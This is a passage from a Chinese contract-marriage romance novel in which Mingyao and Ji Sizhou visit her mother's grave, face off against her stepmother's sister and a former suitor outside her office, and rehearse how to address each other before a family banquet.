接是把湿巾接过来了,明遥说:“又看着我?”
“我现在不热了。”季斯舟说。
明遥观察了他一会儿。
季斯舟在擦手的时候,仍旧有他专属的慢条斯理,很文雅的样子。明遥看着他擦手,一个念头迅速地在自己脑海里划过,又被她迅速地否决。
季斯舟,不会没牵过别的女孩子的手吧?
热是一回事,紧张到出汗是另一回事。可是季斯舟在外界的形象实在冷酷无情,她当时都没考虑过是因为这个。
当季斯舟擦了手将视线望过来的时候,明遥将自己的眼神撇开,一瞬间感觉自己好像是在做贼,她端端正正的坐好,和季斯舟一样。
领了证,第一件事并不是回季家,而是去了墓园。
季斯舟明白她的心思,就在明遥的身边静静地陪伴她站在母亲的墓前,轻轻地放上一束鲜花。
良久,季斯舟才说。
“你父亲的丧事刚过,所以还不能举行婚礼,但季家还是要安排一场私人晚宴告知所有人。”
明遥垂眸,看上去不太在意:“不用这么麻烦。”
“不会麻烦。”季斯舟淡声,“不能委屈了你。在伯母面前,我能不能当个说得过去的女婿?”
明遥诧异地侧头看他,季斯舟的神情认真,分明是早就好好考虑过。
季斯舟是商人,他不明白吗?本来他们大可以低调隐秘度过这一年,之后离婚了,外人的眼中也不过是一桩季家原本就不承认的婚姻。
季家的私人晚宴规格极高,请帖提前下发,这不是随便说举行就举行的。
在特殊情况下,这就相当于和她举行了正式仪式。
墓园空荡,寂静无声,季斯舟的一呼一吸在她的发顶,明遥静静抬眸看他。
季斯舟演得太好,这一瞬间,明遥以为是真的。
10. 第 10 章
不过一秒,她就从那种状态里回过神来,觉得自己不能想太多。
这可是季斯舟。
“我可以接受安排。”明遥自知自己在这场交易里拿到了许多好处,她也愿意做好配合。
只是她疑惑。
这就是季家的影响力和速度吗?这么大型的晚宴,居然也能说开就开。
季斯舟道:“明天下午,我去接你,在公司?”
明天周一,明遥自然是要去公司打工的。虽然她只是个挂名虚职,但名头上听起来响当当的。
多的是人想看她旷工,但明遥扛了下来,从来都是准点上下班。
明遥点头:“下午五点半。”
“好。”
季斯舟说完,明遥拉着季斯舟在母亲的墓前,轻轻挽住了季斯舟的手。
“我给我妈显摆一下她女婿。”明遥还心说自己不能白费了季斯舟这么好的演技,自己也得好好入戏,她眉眼微弯,在提及自己母亲的时候有了真心的柔和和眷恋。
对于明遥来说,只是挽一下男士的手是很容易做到的事情。
季斯舟也就在她的身边站着,很笔挺,明遥觉得她和季斯舟之间的共同话题确实不多,像这种时候就很容易没有话讲。
她只能抬头看着季斯舟。
当不知道该和这种上位者如何接触的时候,她能给予的最礼貌的尊重就是与他对视。
或许能让他知道……
只需要稍微配合我一下就好,在我的母亲面前。
好在,季斯舟也没有甩开她的手,反倒是任由她行动,甚至还将手臂维持着方便她好挽的模样,这份无言的配合让她心头一暖。
前面见的那两面,季斯舟身上的迫人气场强大,总是让她无法直视他。从昨天回了一趟季家,又短短的相处了几天,明遥没那么害怕他了。
明遥蹲下去在母亲的墓前轻轻抚摸着那张照片。
半晌,眼中的情绪与触动已统统抹去。
“走吧。”
再次回到车上,明遥和季斯舟相顾无话,明遥不知道自己要和季斯舟聊点什么好,季斯舟也想着明遥现在没那个心情,索性静静地坐着,给出了让明遥自己消化的空间。
“啪嗒”一声,明遥这边的窗锁关了,从那边递来格纹的薄绒毛毯,和在飞机上她看见的是同一个设计师的牌子。
算是个有品位的男人。
“送你回家,累了的话可以休息一会儿。”
和声音一起的,是那双骨节分明的手将她身边的空调出风口摆了上去。
季斯舟很细心,这是明遥之前从未发现过的事。
毕竟季斯舟所处的位置,就代表着他足以凌驾所有人的感受之上,可没想到他还能做到如此的妥帖。
之前在葬礼上也是,在墓前也是。
明遥时而陷入到一种思考当中——不可置信,她真的和这样的人结婚了吗?
自己手里拿着的结婚证是真的,在告诉着自己那个确切的答案。
不过一瞬,明遥的心又平静了下来。
她在外漂泊了太久,但物质条件素来优越,加上她又确实有一张持靓行凶的脸,对她示好的人多于牛毛,明遥也锻炼的游刃有余。
哪怕这是季斯舟,她点点头,靠着柔软的椅背合上双眼。
“到了叫我。”
季斯舟也随后点头,不过明遥看不见。
车内响起恰到好处的古典乐,音量催眠,还恰恰是明遥最喜欢的那一节,她浓密的睫毛轻轻颤抖,最后归于熟睡的平静,阴影覆盖了眼睑下淡淡的乌青。
另外一边的男人始终坐得端正笔直,头微偏,视线落在自己那边的车窗。
这是一段长长的隧道。
而他的这边车窗倒映出女人抱着毛毯熟睡的面容。
季斯舟双指紧紧捏住结婚证的边缘,又怕太用力留下了痕迹,终于露出了抑制不住的柔和浅笑。
车一停,明遥就醒了。
她看到熟悉的环境,毯子也还抱在自己的手中,如同短暂的好梦。
不知是不是因为今天结婚,在潜意识里到底还是意识到这是一件值得庆祝的好事,她第一次感觉到,回到明家没那么让人感到厌倦。
季斯舟亲自帮她开的车门,在明遥下车时手臂伸过来给他做支撑,另一只手虚抬到车棚,防止明遥撞了头。
绅士、礼貌且一套动作下来矜贵得体,自有他印刻在骨子里的教养。
很奇怪,如果不是季斯舟,但凡是别的人在她的面前这样做,明遥都只当是流水一般的殷勤,必定是不缺女人的浪子。
但这是季斯舟,就奇了怪了,他一点浪荡的迹象都没有。
所以明遥也就没好意思问他是不是有过许多前任。
“你很体贴。”最终,明遥的声音带着些许的复杂说出。
“并不是你想的那种人。”季斯舟看破她的心思,语气仍旧温和。
明遥轻轻抿唇,失笑,“我差点以为季总会读心,你当我只是胡思乱想。”
“谢谢你送我回来,我进去了。”
明遥往前往前走了两步,季斯舟忽然叫了她的名字。
“我们已经结婚,丈夫为自己的夫人做这些事情都是应该的,这是我父亲之前教会我的道理。”他语气顿了顿,黑沉锋利的眉眼独独在望向明遥的时候,那份从眸中透出的无奈竟然让他周身的气息变得柔和了几许。
“还有,回家也要多注意,对丈夫的称呼该换了。”
明遥回了家,脑袋里还在想季斯舟的话。
该换了……她才意识到,是自己下意识的又叫了他季总。
从她的角度来说,毕竟觉得和季斯舟不熟悉,结婚是真的,但关系是假的。
季家举办私人晚宴的事情已经传遍了上流圈,明遥才到门口,就看见了一双陌生的细高跟。
“哟,这不是咱们的明大小姐么。”
明遥抬头,看见了甘霖。
甘佳君自己人没来家里,倒是让她妹妹来了。明遥看到了客厅里放着好几个行李箱。
甘佳君这是让甘霖直接搬来了家里,而且没和自己商量。
“在国外待了这么久的人就是不一样,见着人了,也不叫呀?”甘霖上下打量了明遥好几眼,“是忘记中文怎么称呼了?来,你得叫我姨妈,懂吗?”
甘霖那理所当然的语气让明遥的神色顿时冷了下来。
“谁同意你来了。”她抬眸。
泛着冷意的双眸直视着甘霖,仿佛只是看到了恶心的蝼蚁。
本就是含着金汤匙出生的大小姐,自小养尊处优的贵气十足的压人,尤其
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是那双漂亮的眼睛。
似湖水凝结成冰,也似黑夜上空的明月,将狐假虎威的甘霖照的明明白白。
甘霖的心中一惊,气焰在瞬间收敛。但她又想到自己怕什么,现在整个明氏都将在自己姐姐的面前唾手可得,她还怕个丫头片子?!
“谁同意?我姐同意!你妈她同意!”甘霖底气十足,冷哼,又笑,“而且还不仅是住进来,我明天就要去明氏上班了。”
这些年,甘佳君已经借机在公司里安排了许多她身边的人。
就是没想到她会这么快就把甘霖塞进去,好笑,甘霖她又懂什么和管理公司有关的事情?不过就是个关系户,居然还敢说的这么言之凿凿。
但明遥现在没有完全拿到公司的决策权,这事情她确实做不了主。
明遥压下心中的烦躁,好心情早已经一扫而光。
她真是懒得搭理甘霖,往自己的卧室走去。
偏甘霖不让她好过。
“你要是真识相,干脆就搬出去,你不是结婚了么?”甘霖跟在她后面嘲讽她,“结婚第一天,季总都没有陪你回来,季家这么不重视你,你上赶着过去,不会真觉得是季家要给你撑腰吧?哈,笑死人了。”
明遥的脚步停住。
甘霖笑道:“还有,别想着季家开私人晚宴就是承认你了。很厉害吗?人家那是大家族不丢面子罢了。”
“你怕是不知道?喜欢季斯舟的女孩儿多了去了,根本不缺你一个。”
说罢,甘霖的话锋一转。
“明天我们就不过去了,免得看你在那出丑,也丢了我们公司的面子。”
“说话啊,你爸葬礼的时候你倒是和我姐争得伶牙俐齿的。怎么,现在戳到你痛处你就知道变哑巴了?”
明遥的心情已经平静下来。
在甘霖说到明天不过去的时候,明遥甚至有点想笑。
应该是她们没有受到邀请,所以才进不去。
她回到房里,发现自己的手机上,有一条从未见过的群聊被顶到了上面,而且消息还到了99+
【南大xxxx届经管学院金融一班同学聚会通知群】(36人)
南大?
可是她根本就没在国内上大学,高中毕业就出国了。
别是什么垃圾群聊。
明遥皱眉点开。
前面就是一些说官话的通知,还真是金融一班的同学聚会。前面的一大串消息里,是班长邀请了三十五个同学进群。
大家聊来聊去发现——
【班长……好像……还有舟哥你没有邀请……】
【同学1:谁敢去邀请舟哥?他现在成就这么高,我打电话去公司找他都要预约一周】
【同学2:谁能请得动舟哥?咱好像也没舟哥的联系方式。】
【同学3:你们看朋友圈了没有?咱们导师在祝贺舟哥结婚了!】
【同学4:我有个办法,我们可以或许可以走迂回路线,来,上班长!】
下一刻,提示消息,富婆领低保被班长何勉邀请进群。
【谁啊】
【班长让你去邀请舟哥没让你夹带私货,哪家小妹妹?主播?不会是你小情人吧!】
【何勉:@富婆领低保同学们!请用热情来欢迎季斯舟的夫人明遥小姐!(鼓掌)】
11. 第 11 章
明遥捏着手机,一时无言。
还好是个e人,看看情况先。
粗略来看,她是被原来季斯舟班上的班长给拉到他们的同学聚会群里来了?
这个名字。
呃,好社死。她在当时季斯舟加了自己的时候就应该改个名字的!
现在再改,未免显得太过于欲盖弥彰。
明遥一时沉默。
群里也在短暂的沉默之后,迅速炸开了。
【同学1:嫂子!】
【同学2:真是嫂子啊!】
【同学3:是真的嫂子啊!!】
【何勉:不好意思嫂子,我们班上的同学有几个是不太正常。】
后面还有陆陆续续的,几乎有一个班的人都被炸出来跟明遥说了欢迎,所以明遥也不好意思一直不讲话。
【富婆领低保:大家好~】
社死归社死吧,但是面子上的事要做足。
这时候,班长的私聊窗口来了。明遥发现自己和他的窗口这是第一次有聊天的消息,说明之前也从来没有联系过。
那…季斯舟班上的班长是怎么会有自己的联系方式的?
【何勉:你好明遥,我是何勉,也是金融一班的班长。你可能不记得了,当时你高一的时候加过我们辅导群,然后当时问了我一些关于南大的问题。】
啊……
这个名字一出来,明遥好像有点印象了。
她在出国留学之前,本来就是想上南大的。那时候的她又是个社牛,去和高年级的人交流也一点不带怕的。
【何勉:说来也巧了,后来我和阿舟到了一个班。只是你们的关系应当更亲近一点,我还以为他会来给你迎新,结果阿舟说你没有选择南大。】
这世界上还有比这儿更巧的事儿吗?
【何勉:这小子前两年就是人不露面,钱框框砸,这次婚都结了,这么高调的秀出来,把我们这宿舍的人嫉妒的啊!所以这次他必须亲自来。】
【何勉:没事的,你帮我转达一下就好,他每天都那么忙,我经常打过去就是他助理接到的电话,所以不方便。】
人家话都说到这份上了,更何况当年何勉确实帮了自己这个忙,她还个人情还是应该的。
明遥便会过去:【好,我会转告他一声。但是我不确定他会不会来。】
何勉再发来的消息便显得很高兴:【好!祝你们新婚愉快,百年好合。】
明遥盯着那句祝福,心中莫名一阵恍惚。
自己和季斯舟公布结婚到现在,她还没有得到一个真心的祝福。甘佳君,杜榕等人,全是看她笑话的。
说是明家的大小姐,可外面都是等着看她穷困潦倒,想看她最后是怎么被赶出明家和季家的。
一片风雨中,竟然也只有季家,还有这位许久没有联系过了班长何勉送上了真心的祝福。
很荒谬。
明遥笑了笑,收起手机休息。她习惯于睡觉的时候开了勿扰模式,所以不知道自己的小宏薯后台又多了好几条私信。
早八点半,明遥在同一时间准确地开车来到公司楼前的停车场。
她旁边的那个车位空着还没人,前面立了个消防柱。
明遥叫来保安,皱眉道:“这是怎么回事?又不是什么私人停车位。”
“这……这是……”保安查看明遥的神情,确定明遥什么都没有看出来,才定了定心神道,“可能是保洁阿姨忘记放回去了,我这就放好。”
“耽误明经理的事儿了,对不住对不住。”
明遥淡淡地睨他一眼,保安本觉得这明大小姐久未回国,对这里的一切都不熟悉,哪想到那一眼却让他背后冷汗都起来了。
那种洞悉一切的眼神,让他感觉在明遥的面前耍任何心眼子都是徒劳。
但明遥什么要没说,转头就进了公司。
明氏的产业硕大,各个领域都有涉及。在这里的总部更多的侧重投资领域,明遥所在的藏品评估部门是其中最小的一个分支。
部门里加上她总共就四个人。
她刚回来的时候出席会议,甘佳君要求将这支部门正式取缔,却被明遥拒绝了。
后来加上主管黎春慧,以及临时抽调过来的两个新人,冯瑞和钟茗茗,组成了她们这个部门。
事情也没什么事,除了钟茗茗拿来两个文件给她签下字,一整天相安无事。
明遥往下瞧了一眼,她旁边的那个车位已经停上了车。
“经理,甘……甘部长过来了。”钟茗茗抱着复印好的两份文件折返,脸上尽是愤愤不平,“欺负人!”
明遥笑了笑,对她摇摇头。
“沉稳些。”
钟茗茗才刚毕业过来工作,原本以为明遥该和传闻中的那样不好相处,结果在明遥手底下一个月待得滋润,发现大小姐其实对自己人挺好,便也将心比心,看不惯那些在公司里明里暗里欺负她们部门的人。
甘霖来了,一来便接管了油水极大的后勤部,把原来的部长顶了下去,降职做了个副的。
不仅没有按时上下班,还是豪车的派头,穿的金光灿灿,恨不得让所有人知道她很有钱。
一来了公司就开会欢迎她,但甘霖和甘佳君独独没喊明遥,针对人的心思展现的明明白白。
冯瑞坐在自己的工位上没敢吱声,只悄悄地看明遥的表情。
却发现明遥端着咖啡在窗外,姿势闲适,只是盯着手机的眉眼之中稍显凝重,不知在想着什么。
肯定是在想着该如何反击!
冯瑞给自己握拳,决心更为努力工作来回报,浑然不知明遥是拿着手机盯着季斯舟的聊天框在思考。
是现在就发消息去问一下他比较好,还是一会儿下班再说……
得了,见面再问好了。
黎春慧今年三十三岁,在这个部门里是所有人的姐姐。她能理解明遥现在在公司里过的不顺心,于是想上去安慰。
甘总她们也欺人太甚了……这毕竟是明氏,又没有换名字!
所以外面传的季家不看中明遥是真的,不然都这样了都没一句关心的吗?
这毕竟也是人家的家务事,说不得太多,但明遥是自己上面的领导,她关心一下还是可以的。
黎春慧个高,刚走到明遥的背后,就看见了手机屏幕上那
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个头像。
全黑色,一颗长长的流星拖尾,最后隐没。
……
在业界混的,怎么可能认不出来季斯舟的头像。
至于明遥在输入框里在写什么,黎春慧不敢看了,她只是瞥了一眼,就立刻对钟茗茗他们用眼神做了个制止的表情:
瞎操心什么呢?告状呢!小夫妻关系可好着呢!
明遥收起手机。
“冯瑞,昨天城市艺术展上见到Flora了吗,她的藏品项目谈下来没有?”
提到这个冯瑞就想哭:“没看见,Flora果然和大家说的一样拽,报了咱公司名字也没用,见都不肯见我。”
“她还说什么了?”
“说我们没诚意……就派一个这么小的员工来谈。”冯瑞气馁道。
很好,够拽。
Flora是前一季度忽然出现在艺术展的黑马艺术家,油画的风格大胆奔放,明遥看中了她的收藏价值。
尤其是最近展出的这套城市系列油画,让她想起了以前的很喜欢的一位画家。
脾气也这么像。
Flora行踪神秘,作品已经在国内巡展了三个月,还没有人能让她点头卖掉一副画。
而明遥有必须拿下城市系列的缘由。
藏品评估部门没有业绩,哪怕是明遥也很难把它力排众议的保下来。这次Flora的画,就是一个最好的机会。
“今天先到这,大家下班吧。”明遥收起自己的包,嘱咐道,“冯瑞,明天上午你和我一起再去一趟展厅。”
“好!”
下电梯的时候明遥才看手机,离和季斯舟约好的时间还有半个多小时,明遥准备去自己的车上等一会儿。
到了会议室的楼层,电梯楼层停顿。
甘霖被一大群人簇拥着上了电梯,一看到站在最里面的明遥,她趾高气扬地一转头,等另一台电梯。
“这不是我们明大小姐,不占你的位置了。”
“你知道就好。”明遥微笑着回复她,然后关闭了电梯门。
她低头想了想,还是将编辑好的消息发了出去。
电梯快速降至一层,门一开,本该已经出去了的钟茗茗却着急忙慌地又进来,见着明遥便说:“经理,你先别出去!”
“发生什么事了?”
“外面有个好帅的帅哥说要和你告白。”钟茗茗低声说,“但我刚刚去拿小电驴的时候,看到那个大帅哥在甘总的车边上和她说话。”
甘佳君和明遥之间的冲突,公司里的人基本都清楚。
她这样一说,明遥就已经确定是谁了。
人都到公司楼下来了,躲能躲到哪里去?再说了,明遥一点也不带怕他的。
“遥遥!我已经看见你了,你快出来,我等你好久了。”
杜榕不仅在公司前面摆放了大型的玫瑰爱心,还摆满了漂亮的香薰蜡烛。他自己则站在心尖尖上,捧着99朵玫瑰。
看到明遥快步出来,他深情地捧花跪下:“遥遥,我的心里一直有你,今天我就要告诉全世界!”
不远处,一辆银灰色的宾利也已经缓慢的靠近。
12. 第 12 章
此时正是下班的点,所有人都走出了大楼,围聚在门口。
看热闹是人们的本能,更何况这还是明大小姐的。
“昨天不是还在说明经理和季家那位结了婚,民政局看见的,怎么今天追求者的玫瑰花都摆到公司门口来了?”
“嘁,年轻小女孩真爱玩……”
“哎哎哎,这里不可以拍照的!都把手机收起来!”钟茗茗气恼地开始驱赶围观的人。
但有心之人想拍照的话也制止不了,明遥随意地将钟茗茗扯了回来,目不斜视地穿过所有人打量的目光与声音,径直往杜榕走了过去。
杜榕捧着花,脸上带着温和笑意:“遥遥,阿姨说了同意我们,我又不是说不和你结婚,你怎么没经过我的同意就去和别人领了证呢。”
“乖,别闹了好不好,趁现在还来得及。”
明遥朝他伸出手。
杜榕喜笑颜开,正准备把花递过去。
明遥却摇摇头:“不是花。”
她上前走了一步,一巴掌就要抽在杜榕的脸上。
杜榕忙倒退两步,脸上笑意不改。
明遥看了四周一圈:“这还是公司门口?这么多狗叫,我以为是养狗场。”
包围圈退开了一些。
“宝贝,不要这么伶牙俐齿,再怎么和我闹脾气,也不能用和别人结婚这种方式。”杜榕这次还挺沉得住气,“女孩子不能这么随便。”
明遥道:“来,你把花给我。”
杜榕大喜,以为是明遥想通了,准备接受自己的花。
刚递过去,明遥拿着这九十九多花,就看了一眼,然后“啧”了一声,将玫瑰花毫不留情地抽在了杜榕的脸上,“就拿九十九多花也好意思来冒充我明遥的追求者?”
“啪”地一下,力气挺重,玫瑰花瓣洋洋洒洒落下。
不仅杜榕被打愣了,连围观的人都惊得半个字都不敢讲出来。
怕下一秒这泼辣的大小姐甩的就是自己了。
“以前我的追求者送花开直升机,送个礼物外面缎带上镶嵌的都是钻石。”明遥抽出其中的一只带刺的花梗,掂了掂,将有刺的那一端抵在杜榕的脸上。
隔着不近的距离,杜榕愣是有种被女王般俯视的弱势感。
“再怎么追求者降低,也轮不到狗东西。”明遥挑眉,“你还不够格。”
杜榕刚一动,玫瑰的尖刺就毫不留情地在他的脸上划出一道血痕。
“保安,愣着干什么。”明遥嘲讽地看了地上的蜡烛一眼,“还不把这些东西灭了火清出去?知道的知道是表白,不知道的还以为是在给人点蜡,谁死了?”
明遥的眸色冷冷的,气场便越发的高不可攀,她微微压低了眸,睫毛投下浓郁的鸦羽,“还是给你出主意的那个人想下去见见我爸。”
杜榕说话的声音结巴起来:“你,你居然……”
明遥的视线扫过周围,看热闹的人顿时低下了头,看都不敢看她。
“你有脸吗?在公司面前闹成这样!还好意思提你那些前男友呢,怎么说。”甘霖从人群外走了进来,“你在国外玩的那么花,前男友排队都能排到这里来了吧,也不知道他知道了之后是什么感想?”
两个保安不仅拿来了灭火器,还拿来了水桶。经过甘霖的时候,甘霖直接接过了水桶,故意对着明遥那边一泼。
“这些你都看不上是吧,没事儿,姨来帮你把这些弄了,省得你还自己来动气。”
“哗——”
冰凉的水不仅泼掉了这边的蜡烛,更泼脏了明遥的鞋。
漂亮的缎带上有了污渍,像是纯白的纸张被染上的墨点。
精致的表象有了裂缝,明遥的好心情在此刻完全被打破。她的盛气凌人到了临界点,变成了一触即发的怒气。
这时,一道关门声不轻不重地响起。
明遥抬头,看见了眉眼冷凛的男人从宾利上下来。
季斯舟的手上提着一个黑色的纸袋,拎起来,对着她晃了晃。唯独在面对明遥的时候,黑眸中才染上丁点笑意。
其他人见季斯舟本人来了,顿时不敢再在这久留。
“我倒要看看你老公来了之后听见这些会不会生气!”
季斯舟疾步走来,明遥一言不发。
甘霖得意洋洋地在原地等着,哪有男人被带了绿帽子还能安之若素的?她倒要看看明遥怎么丢脸。
但季斯舟连一个眼神都没给,直接略过甘霖,直接走了过去。
甘霖:???
杜榕见到季斯舟后如坐针毡,那被季斯舟的绝对力量支配的恐惧再度回来。
他怂了。
“我给你发消息了,你没回。”季斯舟的声音低沉有悦耳,又太高了,可不需要明遥仰头,他将头低下来,附在明遥的耳边。
明遥忽然想起以前在国外时,就因为季斯舟在商业杂志上附录了电子采访,那本杂志卖爆了。
耳朵有些轻痒,明遥没退,继续在原地道:“鞋脏了。”
如果没判断错误的话,季斯舟是特地下车来给她撑腰的。
但明遥觉得,和季斯舟做比较,杜榕也根本不够格。
季斯舟点点头,就在明遥的前面半蹲了下来,顺势抽出了鞋盒。
他冷白的手指间将那缎带轻轻地拆除,看的明遥的呼吸一滞。
她从来不知道,男人的手是如此衬托高跟鞋。
Jimmychoo的经典款,黑色,脚踝处的系带有水滴状的钻饰坠下。
没听见明遥的声音,季斯舟抬眸:“给你换新的。”
这里还有这么多人,季斯舟却旁若无人般蹲下,只为她换一双新鞋。
她微愣半秒,抬脚踩进,尺码竟然刚刚好。
脚后跟处很柔软,不知是谁这样的细心,已经贴上保护贴。
她穿上这双恰到好处的黑色高跟鞋,踩在一地浓烈的红玫瑰的花瓣中。
那漂亮的钻石如停止坠落的雨滴,随着她的脚步在白皙的脚踝处轻轻地摇曳。
好强的冲击力……钟茗茗捂着自己的心口,眼睛都看直了。
这是踩的玫瑰花吗?踩到自己心上去了,季总还好吗?
“她不是什么好人!你刚刚也听见她自己说了,追她的人多的很!”甘霖还是第一次见季斯舟,虽然忌惮,但更不想让明遥从这个地方得意离开。
她自认了解男人,便继续说:“季总怕是对自己的新婚妻子了解不深吧,明遥她一直都爱玩,喜欢她的人很多,和你结了婚还是……”
季斯舟站了起来,视线落在甘霖的身上,甘霖不由自主地一抖,话没说完。
“看来你们都
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不知道。”季斯舟道,“我也是脚她的追求者之一。”
他的语气,也只有和他站的最近的明遥才听出来那丝愉悦,仿佛他很自豪。
“现在好不容易胜利了。”季斯舟的手轻轻覆在明遥的腰上,视线淡淡扫过在边上僵住的杜榕,“你觉得,我还会在意失败者吗?”
明遥忍不住低眸笑出声:“好了,走吧。”
季斯舟点头,明遥的脏鞋由周特助收了起来送到她手上,她接了,但季斯舟看到她皱了眉头。
“脏了就不要了。”
他拿过丢进一旁垃圾桶,又对明遥说:“喜欢的话再买一双就是。”
明遥和他一起上了车,仔细地欣赏着脚上的这双鞋。
她喜欢漂亮的亮晶晶的东西,喜欢炫耀,也喜欢虚荣心被满足。
刚刚季斯舟在所有人的面前为她穿鞋,不仅打了那些人的脸,更给她挣足了面子。
她还在自己想自己的,就听到耳畔传来一声:
“我刚才表现的不好?”
“没有,就是忽然想起,就刚刚那个阵仗……”明遥吵架的时候很较真,不允许自己发挥不好。
如果觉得没赢,会一个人悄悄地和自己生气。
看到明遥微微嘟着嘴,季斯舟有些不确定地询问:
“是不是因为没有直升机的排场,也没有把缎带上镶嵌满钻石?”季斯舟说,“抱歉,我的私人机这两天刚好不在这边。”
他讲的很认真,看到明遥惊诧地抬头,季斯舟解释:“你说追求者的基础标配这些才够格。”
那是随口说的。
明遥没忍住捂着肚子笑出来,过了一会儿才说。
“是觉得还没发挥好,早知道你也在……”明遥喃喃,“就应该仗势欺人地再回去睬他们两脚啊。”
季斯舟心中沉重的担忧就此放下,他说:
“可以开回去让你重新发挥一遍。”
明遥心情愉快地伸了一下小腿,细细的脚踝上光亮闪过:“原来季总也是可以这么幽默的。”
季斯舟这才意识到明遥这是开玩笑:“以后你会发现我更多的样子。”
他的视线收回:“开心了?”
“开心。”明遥点头,没有犹豫地说,“刚刚谢谢你。”
她决定之后在宴会上也要好好配合季斯舟。
季斯舟的表情看不出喜怒,声线平稳:“看的你的鞋子被弄脏了,自然要来帮你换上。”
说的很简单,可明遥知道,在其他人的眼里,季斯舟亲自下来为她穿鞋,这份量就是在警告其他人,不准欺负她。
车内安静了一会儿。
“季总配合的真好,能说吗?做你的太太……感觉不错。”明遥还是将自己心中的想法说了出来,“虽然知道是假的。”
哪怕是顶着季家的名头,以前明家也厉害,明青林还在的时候也能护着她,但是别人还是会看热闹。
明遥看见了,今天季斯舟来了之后,连看热闹人都不敢看。
可是她说完之后,季斯舟没有回答。
须臾,季斯舟亲自握住了明遥的手腕,“明遥,有一点你从现在就要记住。”
“忘掉这是假的。”季斯舟凝视着她的眼睛,黑色的瞳孔里倒映着她的模样,“从这一刻开始,你要记得,我们就是真的。”
13. 第 13 章
明遥点头,表示懂。
“是要习惯,不然到了别人的面前容易露出破绽。”
季家人里面,只有季爷爷知道他俩是合约婚姻,在其他的家人面前都要瞒住。
虽然早有心理准备,但是明遥毕竟不是演员,不一定能够面面俱到。
像季总这个称呼,明遥这几天就一直没改过来。
提前排练一下确实很有必要。
车里的空间本来就没有多大,哪怕这是一辆以宽敞的后座空间著称的豪车,也因为季斯舟的身上的气息过于压人,让明遥有一瞬间无法呼吸。
但她没有躲。
在明遥的字典里面,面对男人的时候,没有要躲这个词。
她仰头看着季斯舟道:“季……”她原本又想说季总,想起来称呼确实得换了,止住话头说,“你觉得要怎么排练?”
“从称呼开始。”
明遥:“季先生?”
原本平稳的车速在这三个字之后有了一个略显急促的右转,明遥起初在嘚瑟看自己的新鞋,没坐稳,身体随之往季斯舟的那边倾斜。
季斯舟眼疾手快地扶了她一把,喉结几不可查地滚动了两下,声音微低:“合适吗?”
明遥在想问题,没觉得自己和季斯舟刚才的距离有多近,她抬眸,明亮的光乍现,“改一个字就合适了。”
“季先生改成,这是我先生。”明遥邀功似的问,“行不行?”
季斯舟的黑眸顿时暗沉几分,他根本就不是明遥的对手,只有甘愿服输的份儿。
“还有?”
明遥觉得自己好像是在做考卷,但还好她是个做过了太多习题的学生,所以季斯舟的这套在她的眼里无异于开卷考试。
她将手搭在了季斯舟的臂弯里,“那到时候就这样挽着你?”
作为排练,明遥很遵循规则,决心要开始习惯季斯舟作为自己现任老公的身份。
两人的距离很近,还是明遥想起之前大家说的季斯舟不喜欢有香水的人离他太近,她往边上坐了坐。
“可以。”季斯舟察觉到明遥的躲闪,那本来微微翘起的嘴角又压了下去。
“除了在外人面前的称呼,你也可以叫我的名字。”季斯舟道,“还是要尽快习惯。”
季斯舟放开了明遥的手腕,但视线却追着她。
这需要一点心理建设,明遥又不喜欢低人一头,哪怕那是季斯舟。
她在心中默念了两声,在名字和叫老公和两个词中反复选择,确定自己可以后才轻声说:“斯舟。”
轻轻地两个字,季斯舟在自己的心中叹息,“嗯”了声。
明遥挑眉调侃他:“怎么只有我在练习,季先生难道不需要改口吗?”
季斯舟笑了:“嗯,听太太的。”
……
这么流畅。
他话说的挺熟,明遥在这一环节是没办法赢他了。不过这么一来一回,心情已经好起来,她随着电台的声音开始一下一下轻动着鞋跟。
时间还很充足。
他们被带去私人订制店里更换造型,分别在两个房间。明遥只需要拿上衣服去换上,然后有造型师为她加上相应的配饰就行。
裙子是大裙摆的的,宝蓝色,带层叠的星河薄纱,是明遥惯常喜欢的浮夸的风格,穿上高跟鞋之后又可以露出纤细的脚踝,不至于裙摆完全拖地,不影响日常的行动。
满意的看着镜子里的自己,明遥点点头:“季斯舟的服装师是谁?品位真不错。”
助理对化妆师使个眼色,造型师开口道:“那还是因为太太漂亮,穿什么都衬得上。”
明遥被彩虹屁夸得心情舒畅,顺带着接受了太太这个词汇。
她满意地仰着头,像是高贵的黑天鹅,走出更衣室。
化妆师才忍不住憋笑说:“季先生对太太真好,亲自为她挑选衣服。怎么还不好意思说呀……”
这是季斯舟的私人服装工作室,只为季家的人服务。
在明遥之前,从来没有其他的不姓季的女人来过。
仅仅是这一条,就能看出来季斯舟对明遥的极其用心,全然不是外界所说的那样不在意,所以无人敢怠慢。
穿着西装的季斯舟走出来的时候,明遥“嘶”地一声抽了口凉气。
宽肩长腿,男模一般的身材。再配上那张脸……心里都暗骂了一句。
帅晃眼了。
化妆间的氛围灯打的正好,他推门出来时,让明遥忽然有了一种这人是为了自己打扮的这么好看的错觉。
两人的服装早有搭配,季斯舟的西装虽然是暗色系,但是领带上的搭扣,口袋上方露出的小节方巾,包括他的袖口,在色系上全部和明遥的裙子搭配的刚好。
“季总,您和太太真是天作之合!这样走出去,大明星都没有你们有风采,”化妆师惊呼,“还是您的眼光高,选的……”
季斯舟轻咳了两声,化妆师才自觉失言,不敢再多说。明遥没当回事,她自然地挽起了季斯舟的胳膊,欣赏自己和季斯舟站在一起的模样。
很相配。
是一出现在任何地方都能成为焦点的程度。
季斯舟看着她的神情,配合着她下意识摸索口袋的动作,懂了。朝旁边使了个眼色,化妆师立刻道:“可以帮你们拍张照吗?”
明遥点点头:“快来。”
季斯舟站在明遥的身边,化妆师感慨太漂亮,手机不停地按着快门。中途明遥的头发拂到肩头,她可能嫌痒,用手去拨弄。
“扎起来吗?”
明遥摇摇头道:“这套散着头发更好看,一会儿要做发型的。”
季斯舟点头表示懂了,拍照的时候,他干脆伸出手去,帮明遥拢住了头发。
他的视线扫过明遥的锁骨和白皙的天鹅颈,又迅速地将视线移
“用手抓着应该不会变形。”
明遥低声:“谢谢。”
季斯舟无奈道:“我说过,你不用和我这么的客气。”
“抱歉,我需要一点习惯的时间。”明遥不知自己和季斯舟说话的这几个瞬间,已经让化妆师在心底尖叫无数次了。
好配好甜啊!谁还和和她说季总和太太是假的她就和谁急!
周特助捏着手,忽然道:“季总,你有电话。”
季斯舟:“不是说过了今天不要来打扰我?”
“您母亲。”周同言简意赅道,“说找你好久了一直没听见回复。”
季斯舟只好把手机拿过来,方姿女士的语音消息一点开,急切的声音传出来:
“你们到哪了?衣服试的怎么样,给妈看看呀。”
“不是想看你,我就是想提前看看遥遥漂亮的样子。”<
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“死小子快点,你藏着掖着干嘛?!
